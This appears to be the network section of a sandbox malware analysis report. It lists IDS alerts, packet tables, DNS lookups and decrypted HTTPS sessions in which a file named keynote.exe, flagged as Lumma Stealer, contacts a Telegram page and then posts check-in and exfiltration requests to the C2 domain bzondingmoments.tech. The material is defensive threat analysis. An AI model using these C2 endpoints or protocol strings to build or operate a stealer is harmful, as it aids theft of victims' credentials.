2025-02-17T22:15:50.313083+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49732	104.21.17.68	443	TCP
2025-02-17T22:15:50.803538+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.17.68	443	TCP
2025-02-17T22:15:51.355392+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49733	104.21.17.68	443	TCP
2025-02-17T22:15:52.446712+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	104.21.17.68	443	TCP
2025-02-17T22:16:00.660795+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49735	104.21.17.68	443	TCP
2025-02-17T22:16:01.227746+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	104.21.17.68	443	TCP
2025-02-17T22:16:03.563691+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	104.21.17.68	443	TCP
2025-02-17T22:16:05.906066+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	104.21.17.68	443	TCP
2025-02-17T22:16:07.818289+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	104.21.17.68	443	TCP
2025-02-17T22:16:10.510517+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49745	104.21.17.68	443	TCP
2025-02-17T22:16:11.359519+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49745	104.21.17.68	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 17, 2025 22:15:37.105415106 CET	49731	443	192.168.2.4	149.154.167.99
Feb 17, 2025 22:15:37.105446100 CET	443	49731	149.154.167.99	192.168.2.4
Feb 17, 2025 22:15:37.105530024 CET	49731	443	192.168.2.4	149.154.167.99
Feb 17, 2025 22:15:37.108515978 CET	49731	443	192.168.2.4	149.154.167.99
Feb 17, 2025 22:15:37.108530998 CET	443	49731	149.154.167.99	192.168.2.4
Feb 17, 2025 22:15:37.726409912 CET	443	49731	149.154.167.99	192.168.2.4
Feb 17, 2025 22:15:37.726567984 CET	49731	443	192.168.2.4	149.154.167.99
Feb 17, 2025 22:15:37.729923964 CET	49731	443	192.168.2.4	149.154.167.99
Feb 17, 2025 22:15:37.729943037 CET	443	49731	149.154.167.99	192.168.2.4
Feb 17, 2025 22:15:37.730407953 CET	443	49731	149.154.167.99	192.168.2.4
Feb 17, 2025 22:15:37.780035019 CET	49731	443	192.168.2.4	149.154.167.99
Feb 17, 2025 22:15:37.791469097 CET	49731	443	192.168.2.4	149.154.167.99
Feb 17, 2025 22:15:37.835329056 CET	443	49731	149.154.167.99	192.168.2.4
Feb 17, 2025 22:15:38.004730940 CET	443	49731	149.154.167.99	192.168.2.4
Feb 17, 2025 22:15:38.004757881 CET	443	49731	149.154.167.99	192.168.2.4
Feb 17, 2025 22:15:38.004767895 CET	443	49731	149.154.167.99	192.168.2.4
Feb 17, 2025 22:15:38.004851103 CET	443	49731	149.154.167.99	192.168.2.4
Feb 17, 2025 22:15:38.004873037 CET	49731	443	192.168.2.4	149.154.167.99
Feb 17, 2025 22:15:38.004887104 CET	443	49731	149.154.167.99	192.168.2.4
Feb 17, 2025 22:15:38.004960060 CET	49731	443	192.168.2.4	149.154.167.99
Feb 17, 2025 22:15:38.004960060 CET	49731	443	192.168.2.4	149.154.167.99
Feb 17, 2025 22:15:38.013544083 CET	49731	443	192.168.2.4	149.154.167.99
Feb 17, 2025 22:15:38.013544083 CET	49731	443	192.168.2.4	149.154.167.99
Feb 17, 2025 22:15:38.013555050 CET	443	49731	149.154.167.99	192.168.2.4
Feb 17, 2025 22:15:38.013561964 CET	443	49731	149.154.167.99	192.168.2.4
Feb 17, 2025 22:15:38.083055973 CET	49732	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:38.083075047 CET	443	49732	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:38.083158970 CET	49732	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:38.083619118 CET	49732	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:38.083632946 CET	443	49732	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:38.578536034 CET	443	49732	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:38.578633070 CET	49732	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:38.593632936 CET	49732	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:38.593648911 CET	443	49732	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:38.594300985 CET	443	49732	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:38.603530884 CET	49732	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:38.603530884 CET	49732	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:38.603620052 CET	443	49732	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:50.313090086 CET	443	49732	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:50.313220978 CET	443	49732	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:50.313308954 CET	49732	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:50.343085051 CET	49732	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:50.343085051 CET	49732	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:50.343111038 CET	443	49732	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:50.343125105 CET	443	49732	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:50.345396042 CET	49733	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:50.345432997 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:50.345577955 CET	49733	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:50.346292973 CET	49733	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:50.346307993 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:50.803472042 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:50.803538084 CET	49733	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:50.805746078 CET	49733	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:50.805768967 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:50.806111097 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:50.807437897 CET	49733	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:50.807437897 CET	49733	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:50.807514906 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.355439901 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.355572939 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.355608940 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.355660915 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.355679035 CET	49733	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:51.355711937 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.355736017 CET	49733	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:51.355854034 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.355906010 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.355987072 CET	49733	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:51.356004953 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.356064081 CET	49733	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:51.356074095 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.359719038 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.359751940 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.359888077 CET	49733	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:51.359901905 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.359918118 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.359951973 CET	49733	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:51.405078888 CET	49733	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:51.441535950 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.441633940 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.441728115 CET	49733	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:51.441740036 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.441813946 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.441883087 CET	49733	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:51.442018986 CET	49733	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:51.442038059 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.442050934 CET	49733	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:51.442068100 CET	443	49733	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.971420050 CET	49735	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:51.971462965 CET	443	49735	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:51.971548080 CET	49735	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:51.971936941 CET	49735	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:51.971957922 CET	443	49735	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:52.446636915 CET	443	49735	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:52.446712017 CET	49735	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:52.448195934 CET	49735	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:52.448209047 CET	443	49735	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:52.448451996 CET	443	49735	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:52.449717999 CET	49735	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:52.449798107 CET	49735	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:52.449826956 CET	443	49735	104.21.17.68	192.168.2.4
Feb 17, 2025 22:15:52.449982882 CET	49735	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:15:52.449990034 CET	443	49735	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:00.660777092 CET	443	49735	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:00.660851002 CET	443	49735	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:00.660923958 CET	49735	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:00.662741899 CET	49735	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:00.662754059 CET	443	49735	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:00.760565996 CET	49741	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:00.760622978 CET	443	49741	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:00.760716915 CET	49741	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:00.761023045 CET	49741	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:00.761044979 CET	443	49741	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:01.227504015 CET	443	49741	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:01.227746010 CET	49741	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:01.232764959 CET	49741	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:01.232777119 CET	443	49741	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:01.233017921 CET	443	49741	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:01.242633104 CET	49741	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:01.242703915 CET	49741	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:01.242743015 CET	443	49741	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:01.899039984 CET	443	49741	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:01.899161100 CET	443	49741	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:01.899220943 CET	49741	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:01.899250031 CET	49741	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:01.899267912 CET	443	49741	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:02.650073051 CET	49742	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:02.650108099 CET	443	49742	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:02.650187969 CET	49742	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:02.650487900 CET	49742	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:02.650506973 CET	443	49742	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:03.563585043 CET	443	49742	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:03.563690901 CET	49742	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:03.565052986 CET	49742	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:03.565074921 CET	443	49742	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:03.565331936 CET	443	49742	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:03.566545963 CET	49742	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:03.566668034 CET	49742	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:03.566701889 CET	443	49742	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:03.566792011 CET	49742	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:03.566804886 CET	443	49742	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:04.812153101 CET	443	49742	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:04.812397003 CET	443	49742	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:04.812468052 CET	49742	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:04.813711882 CET	49742	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:04.813731909 CET	443	49742	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:05.448379993 CET	49743	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:05.448411942 CET	443	49743	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:05.448587894 CET	49743	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:05.448765039 CET	49743	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:05.448781967 CET	443	49743	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:05.905858040 CET	443	49743	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:05.906065941 CET	49743	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:05.907249928 CET	49743	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:05.907262087 CET	443	49743	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:05.907599926 CET	443	49743	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:05.908767939 CET	49743	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:05.908767939 CET	49743	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:05.908803940 CET	443	49743	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:06.797404051 CET	443	49743	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:06.797517061 CET	443	49743	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:06.797621965 CET	49743	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:06.797842979 CET	49743	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:06.797858953 CET	443	49743	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:07.345278978 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.345305920 CET	443	49744	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:07.345432997 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.345709085 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.345719099 CET	443	49744	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:07.818063021 CET	443	49744	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:07.818289042 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.819519043 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.819539070 CET	443	49744	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:07.820132971 CET	443	49744	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:07.821397066 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.822073936 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.822113991 CET	443	49744	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:07.822206020 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.822246075 CET	443	49744	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:07.822345972 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.822403908 CET	443	49744	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:07.822499990 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.822536945 CET	443	49744	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:07.822670937 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.822700024 CET	443	49744	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:07.822839975 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.822869062 CET	443	49744	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:07.822880983 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.822978973 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.823014021 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.841753960 CET	443	49744	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:07.841907024 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.841953993 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.841968060 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.841984987 CET	443	49744	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:07.842113972 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.842149973 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.842174053 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.842749119 CET	443	49744	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:07.842947960 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:07.842955112 CET	443	49744	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:09.970789909 CET	443	49744	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:09.971025944 CET	443	49744	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:09.971097946 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:09.971097946 CET	49744	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:10.023338079 CET	49745	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:10.023359060 CET	443	49745	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:10.023598909 CET	49745	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:10.023720980 CET	49745	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:10.023745060 CET	443	49745	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:10.510205984 CET	443	49745	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:10.510516882 CET	49745	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:10.511642933 CET	49745	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:10.511650085 CET	443	49745	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:10.511876106 CET	443	49745	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:10.513042927 CET	49745	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:10.513042927 CET	49745	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:10.513108015 CET	443	49745	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:11.359606028 CET	443	49745	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:11.359858036 CET	443	49745	104.21.17.68	192.168.2.4
Feb 17, 2025 22:16:11.360033989 CET	49745	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:11.360033989 CET	49745	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:11.360421896 CET	49745	443	192.168.2.4	104.21.17.68
Feb 17, 2025 22:16:11.360435963 CET	443	49745	104.21.17.68	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 17, 2025 22:15:37.094011068 CET	60769	53	192.168.2.4	1.1.1.1
Feb 17, 2025 22:15:37.100699902 CET	53	60769	1.1.1.1	192.168.2.4
Feb 17, 2025 22:15:38.015898943 CET	50498	53	192.168.2.4	1.1.1.1
Feb 17, 2025 22:15:38.024532080 CET	53	50498	1.1.1.1	192.168.2.4
Feb 17, 2025 22:15:38.057872057 CET	55943	53	192.168.2.4	1.1.1.1
Feb 17, 2025 22:15:38.076103926 CET	53	55943	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 17, 2025 22:15:37.094011068 CET	192.168.2.4	1.1.1.1	0xe737	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Feb 17, 2025 22:15:38.015898943 CET	192.168.2.4	1.1.1.1	0x892c	Standard query (0)	qodcsxcvbdbtcih.itrw	A (IP address)	IN (0x0001)	false
Feb 17, 2025 22:15:38.057872057 CET	192.168.2.4	1.1.1.1	0x66d9	Standard query (0)	bzondingmoments.tech	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 17, 2025 22:15:37.100699902 CET	1.1.1.1	192.168.2.4	0xe737	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Feb 17, 2025 22:15:38.024532080 CET	1.1.1.1	192.168.2.4	0x892c	Name error (3)	qodcsxcvbdbtcih.itrw	none	none	A (IP address)	IN (0x0001)	false
Feb 17, 2025 22:15:38.076103926 CET	1.1.1.1	192.168.2.4	0x66d9	No error (0)	bzondingmoments.tech		104.21.17.68	A (IP address)	IN (0x0001)	false
Feb 17, 2025 22:15:38.076103926 CET	1.1.1.1	192.168.2.4	0x66d9	No error (0)	bzondingmoments.tech		172.67.223.54	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

bzondingmoments.tech

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	149.154.167.99	443	7324	C:\Users\user\Desktop\keynote.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-17 21:15:37 UTC	193	OUT	GET /r32rdsadasdasd HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: t.me
2025-02-17 21:15:38 UTC	512	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 17 Feb 2025 21:15:37 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12419 Connection: close Set-Cookie: stel_ssid=6b0b39d451421fae0e_17275739990826596882; expires=Tue, 18 Feb 2025 21:15:37 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2025-02-17 21:15:38 UTC	12419	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 72 33 32 72 64 73 61 64 61 73 64 61 73 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @r32rdsadasdasd</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){windo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	104.21.17.68	443	7324	C:\Users\user\Desktop\keynote.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-17 21:15:38 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: bzondingmoments.tech
2025-02-17 21:15:38 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-02-17 21:15:50 UTC	1046	IN	HTTP/1.1 200 OK Date: Mon, 17 Feb 2025 21:15:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=uh9uqjpmrjf7n99qtgdk9tqkan; expires=Tue, 18 Feb 2025 21:15:50 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mPRJLkZbiiQSN5FXDsiMdX7DlNjv%2Bl6KvHnMLUhEATpzYRooxMxRucZ7MPD4BNF9bujoWt%2BZC5ptauoZI1vztH1CuVI15td%2BptqT5zKwHIt5aVEp%2BU5Zx4vS27wgYMTsmLGUg0LCWw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9138cb3e9ce60cc0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1627&min_rtt=1623&rtt_var=618&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2853&recv_bytes=911&delivery_rate=1759036&cwnd=218&unsent_bytes=0&cid=8329f26767fe9f38&ts=11751&x=0"
2025-02-17 21:15:50 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-02-17 21:15:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	104.21.17.68	443	7324	C:\Users\user\Desktop\keynote.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-17 21:15:50 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 43 Host: bzondingmoments.tech
2025-02-17 21:15:50 UTC	43	OUT	Data Raw: 61 63 74 3d 72 65 63 65 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 57 38 5a 51 4e 2d 2d 26 6a 3d Data Ascii: act=receive_message&ver=4.0&lid=PW8ZQN--&j=
